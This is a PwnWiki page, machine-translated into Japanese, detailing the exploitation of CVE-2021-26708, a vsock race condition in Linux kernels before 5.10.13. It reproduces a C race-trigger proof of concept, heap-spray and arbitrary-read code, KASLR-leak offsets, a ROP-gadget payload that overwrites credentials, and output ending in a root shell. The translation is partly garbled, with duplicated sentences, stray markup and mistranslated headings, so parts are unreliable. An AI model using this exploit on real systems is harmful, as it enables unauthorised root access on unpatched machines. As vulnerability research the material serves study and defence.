CVE-2021-26708 Linux カーネル 5.10.13 以前の特権昇格の脆弱性

From PwnWiki
This page is a translated version of the page CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞 and the translation is 98% complete.
Other languages:
Chinese • ‎English • ‎español • ‎português • ‎svenska • ‎русский • ‎українська • ‎עברית • ‎العربية • ‎中文(繁體)‎ • ‎日本語

脆弱性

これらの脆弱性は、net/vmw_vsock/af_vsock.cの誤ロックによる条件闘争が原因です。 これらの条件闘争は、VSOCKマルチトランスファーのサポートを追加した2019年11月のコミットで暗黙のうちに導入され、Linuxカーネルバージョン5.5-rc1にマージされました。

CONFIG_VSOCKETSCONFIG_VIRTIO_VSOCKETSは、すべての主要なGNU/Linuxディストリビューションのカーネルモジュールとして提供されています。 これらの脆弱なモジュールは、AF_VSOCKドメインのソケットを作成した際に自動的にロードされます。

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

AF_VSOCKのソケット作成は、非特権ユーザが利用でき、ユーザ名空間を必要としません。


メモリの破損

以下は、CVE-2021-26708の悪用についての詳細です。この悪用は、vsock_stream_etssockopt()の条件付き競争を利用しており、回復には2つのスレッドが必要で、最初のスレッドがsetsockopt()を呼び出します。

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));


2番目のスレッドは、vsock_stream_etssockopt()がソケットロックを取得しようとしたときに、仮想ソケットのトランスポートを変更しますが、これは仮想ソケットを再接続することで実現します。

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));


仮想ソケットのconnect()を処理するために、カーネルはvsock_assign_transport()を呼び出したvsock_stream_connect()を実行します。 この関数には以下のコードが含まれています。

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect()にはソケットロックがあり、並列スレッドのvsock_stream_setsockopt()もソケットロックを取得しようとするため、条件付きの競合となります。 その結果、異なるsvm_cidで2回目のconnect()を実行した際に、vsock_deassign_transport()関数が呼び出されます。 この関数は、virtio_transport_destruct()を実行し、vsock_sock.transを解放し、vsk->transportをNULLに設定する。 stream_connect()がソケットのロックを解除することで、vsock_stream_setsockopt()の実行を継続することができます。 vsock_update_buffer_size()を呼び出し、続いてtransport->notify_buffer_size()を呼び出します。 ここでtransportは、vsk->transportに一致しないローカル変数からの廃止された値を含んでいます(原因はNULLに設定されています)。

カーネルがvirtio_transport_notify_buffer_size()を実行すると、メモリが破壊されます。

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

ここで,vvsはカーネルメモリへのポインタであり,virtio_transport_destruct()で解放されている。struct virtio_vsock_sock は 64 バイトのサイズで、kmalloc-64 ブロックキャッシュに配置されています。VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL VIRTIO_VSOCK_MAX_BUF_SIZE is 0xFFFFFFFFUL buf_alloc フィールドタイプは u32 で、オフセット 40 にある。valの値は攻撃者が制御し、その最下位4バイトが解放されたメモリに書き込まれます。


ファジーテスト

syzkaller fuzzerにはこのクラッシュを再現する方法がないので、自分で調べてみることにしました。 しかし、なぜfuzzerは失敗するのか? vsock_update_buffer_size()を見てみると、次のようなことがわかりました。

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

notify_buffer_size()はvalが現在のbuffer_sizeと異なる場合にのみ呼び出され、setsockopt()SO_VM_SOCKETS_BUFFER_SIZEを実行します。 code>の場合、sizeパラメータは呼び出されるたびに異なるはずです。 そこで、コードを作ってみました。

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <[email protected]>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}

ここでのサイズの値は、clock_gettime()が返すナノ秒の数から取得されるため、毎回異なる値になる可能性があります。 オリジナルの syzkaller では、syscall パラメータの値は syzkaller がファジング入力を生成する際に決定され、実行時には変更されないため、この処理は行われません。

四字熟語の威力

ここでは、研究対象としてFedora 33 Serverを選び、カーネルバージョン5.10.11-200.fc33.x86_64で、SMEPとSMAPを回避することにしました。

その第一歩として、私は安定したヒープイジェクションに取り組み始めました。これは、ユーザースペースを実行する活動を利用して、カーネルが解放されたvirtio_vsock_sockの場所に別の64バイトのオブジェクトを割り当てるようにするものです。 数回の実験の後、リリースされた virtio_vsock_sock が上書きされていることが確認され、ヒープインジェクションが実行可能であることがわかりました。 最終的に msgsnd() システムコールを見つけました。これはカーネル空間で msg_msg 構造体を作成します。

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

表はメッセージのヘッダー、裏はメッセージのデータです。 ユーザ空間の struct msgbuf に 16 バイトの mtext がある場合、対応する msg_msg が kmalloc-64 ブロック・キャッシュに作成されます。 4 バイトの write-after-free により、オフセット 40 の void *security ポインタが破壊されます。msg_msg.securityフィールドは、msg_msgを受信したときに、lsm_msg_alloc()によって割り当てられ、security_msg_msg_free()によって解放されたカーネルデータを指します。 このように、セキュリティ・ポインターの前半部分を壊すことで、任意の自由を得ることができます。

社内コア情報の漏洩

Used here BC%8F%E6%B4%9E CVE-2019-18683で同じ仕掛けをしています。 バーチャルソケットの2回目のconnect()では、vsock_deassign_transport()を呼び出し、vsk->transportをNULLに設定することで、vsock_stream_setsockopt()<? /code>call virtio_transport_send_pkt_info()の後に、カーネルアラームでメモリクラッシュが発生したことがあります。

WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

gdbによるデバッグで、RCXレジスタには解放されたvirtio_vsock_sockのカーネルアドレスが、RBXレジスタにはvsock_sockのカーネルアドレスが入っていることがわかりました。

どこでも読める

從 arbitrary free 到 use-after-free

リークされたカーネルアドレスからのオブジェクトの解放 ヒープスプレーを行い、制御されたデータでオブジェクトを上書きする 破損したオブジェクトを特権昇格に利用する System V メッセージのカーネルの実装では、DATALEN_MSG の最大値は、PAGE_SIZE から sizeof(struct msg_msg)を引いた値に制限されています。) より大きなメッセージを送信した場合、残りのメッセージはメッセージセグメントのリストに保存されます。msg_msgは、最初のセグメントを指すstruct msg_msgseg *nextと、サイズを格納する size_t m_tsを含んでいます。 上書き操作を行うと、制御された値が msg_msg.m_ts と msg_msg.next に配置されます。

T01a51dfe7a996e854c.png


Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }

しかし、msg_msgを使って内部監査データを読むにはどうすればいいのでしょうか? msgrcv()のシステムコールファイルを読んでみると、msgrcv()とMSGフラグを使った良い解決策が見つかりました:。

MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).

このフラグは、メッセージデータをメッセージキューから削除することなく、カーネルがユーザースペースにコピーすることを意味します。 カーネルにCONFIG_CHECKPOINT_RESTORE=yが設定されている場合、MSGは利用可能であり、Fedora Serverでも適用可能です。

任意の読み取りのためのステップ

準備 sched_getaffinity()およびCPU_COUNT()を使用して、使用可能なCPUの数を計算します(このエクスプロイトでは、少なくとも2つのCPUが必要です)。 パージングのために/dev/kmsgを開く。 mmap()は、userfaultfd()をspray_dataメモリ領域の最後の部分として設定します。 userfaultfd()イベントを処理するために、別のpthreadを起動します。 msg_msgでsetxattr()とuserfaultfd()のヒープインジェクションを行うために127個のスレッドを立ち上げ、thread_barrierに掛けます。 オリジナルのmsg_msgのカーネルアドレスを取得します。 仮想ソケットの条件付き競争 2回目のconnect()の後、ビジー・ループで35マイクロ秒待つ。 msgsnd() を呼び出して別のメッセージキューを作成します。メモリ破壊の後、msg_msg ペアは virtio_vsock_sock の場所に置かれます。 カーネルログを解析し、カーネル警告(RCXレジスタ)からmsg_msgのカーネルアドレスを保存する。 また,RBXレジスタからvsock_sockのカーネルアドレスが格納される。 破壊された msg_msg を使って、元の msg_msg の任意の解放を行います。 メモリ破壊を実装するために、SO_VM_SOCKETS_BUFFER_SIZEとして、オリジナルのmsg_msgアドレスの4バイトを使用します。 仮想ソケットの条件付き競争 msgsnd()は2回目のconnect()の直後に呼び出され、msg_msgは破壊を実装するためにvirtio_vsock_sockの場所に置かれます。 破棄された msg_msg のセキュリティ・ポインタには、(ステップ 2 からの)元の msg_msg のアドレスが格納されます。

T01a2a2d47c9494c4a5.png

msgsnd()の処理中にsetsockopt()スレッドのmsg_msg.securityメモリの破損が発生し、さらにSELinuxの特権チェックが失敗する場合。 この場合、msgsnd()は-1を返し、破損したmsg_msgは破棄されます。msg_msg.securityを解放すると、元のmsg_msgが解放されます。 オリジナルのmsg_msgを制御可能なペイロードで上書きします。 msgsnd()が失敗した後、この脆弱性はpthread_barrier_wait()を呼び出し、ヒープイジェクションに使用される127のpthreadを呼び出します。 これらのpthreadは、setxattr()のペイロードを実行します。 オリジナルの msg_msg は制御可能なデータで上書きされ、msg_msg.next は vsock_sock オブジェクトが格納されているアドレスを指します。

T0140baae964febb059.png

上書きされたmsg_msgを保持するメッセージキューからメッセージを受信して、vsock_sockカーネルオブジェクトの内容をユーザ空間に読み出す。

ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

ターゲットを見つける

私が見つけたポイントを紹介します。 1. PINGv6やsock_inode_cacheのような専用ブロックキャッシュは、オブジェクトへの多くのポインタを持っています。 2. struct mem_cgroup *sk_memcg pointer at vsock_sock.sk offset 664. mem_cgroup構造体は、kmalloc-4kブロックキャッシュに割り当てられます。 3. vsock_sock.skのオフセット840にあるconst struct cred *ownerポインタは、特権昇格のためにオーバーライドできるクレデンシャルのアドレスを保持します。 4. void (*sk_write_space)(struct sock *)関数は、vsock_sock.skのオフセット688にあるsock_def_write_space()カーネル関数のアドレスに設定されます。 KASLRのオフセットを計算するために使用することができます。

脆弱性がメモリからこれらのピンを抽出する方法は以下の通りです。

#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

sk_buffにUse-after-freeを実装する

Linuxカーネルのネットワーク関連のバッファは、struct sk_buffで表されます。 このペアには、skb_shared_infoとdestructor_argがあり、ストリームハイジャックの制御に利用できます。 ネットワークデータとskb_shared_infoは、sk_buff.headが指す同じカーネルメモリブロックに配置されます。 したがって、ユーザースペースで2800バイトのネットワークパケットを作成すると、mem_cgroupのペアと同様に、skb_shared_infoがkmalloc-4kブロックキャッシュに割り当てられます。

以下の手順で構築しました。

socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)を使って、クライアントソケットと32個のサーバーソケットを作成する。

ユーザースペースに2800バイトのバッファを用意し、0x42でmemset()する。

3. sendto()を使用して、このバッファをクライアントソケットから、kmalloc-4kでsk_buffオブジェクトを作成するために使用した各サーバーソケットに送信する。 利用可能なCPUごとに`sched_setaffinity()を使用します。

4.vsock_sockに任意の読み取り手続きを行う

sk_memcgに4096(kmalloc-4kの次の要素)を加えたsk_buffのカーネルアドレスを計算する。

6.この可能性のあるsk_buffのアドレスに任意の読み取りを行う。

7. ネットワークデータの位置に0x424242424242luが見つかった場合、実際のsk_buffを見つけ、ステップ8に進む。そうでない場合、可能性のあるsk_buffのアドレスに4096を加え、ステップ6に進む。

8. sk_buff が 32 個の pthread の setxattr() と userfaultfd() のヒープジェットを実行し、それを pthread_barrier にフックする。

9.sk_buffカーネルアドレスの恣意的な公開

10. pthread_barrier_wait() を呼び出し、32 の setxattr() を実行して skb_shared_info の heapspray pthreads を上書きする。

11.サーバ・ソケットからネットワーク・メッセージを受信するには、recv()を使用します。

skb_shared_infoで任意に書き込み

以下は、オーバーライドされたsk_buffオブジェクトの有効なペイロードです。

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);

skb_shared_infoは、排出されたデータのちょうどSKB_SHINFO_OFFSETの位置、すなわち3776バイト目に存在する。skb_shared_info.destructor_arg ポインタには、struct ubuf_info のアドレスが格納される。 攻撃されたsk_buffのカーネルアドレスがわかっているので、ネットワークバッファのMY_UINFO_OFFSETに偽のubuf_infoを作成することができます。有効なペイロードのレイアウトは以下のとおりです。

T0185ccbf9f025c74da.png

ここでは、destructor_argのコールバックを紹介します。

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

vmlinuz-5.10.11-200.fc33.x86_64では、私のニーズを満たすガジェットが見つからないので、自分で調べて作ってみました。

コールバック関数のポインタにはROPガジェットのアドレスが格納され、RDIにはコールバック関数の第1引数であるubuf_info自身のアドレスが格納され、RDI + 8はubuf_info.descを指す。ガジェットはubuf_info.descをRDXに移動する。現在RDX には、有効なユーザーIDとグループIDから1バイトを除いたアドレスが含まれています。 このバイトは重要です。ガジェットがRSIからRDXが指すメモリにメッセージ1を書き込むと、有効なuidとgidは0で上書きされます。 権限がrootに昇格するまで同じプロセスを繰り返します。プロセス全体の出力ストリームは次のようになります。

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

ビデオ


参考 https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html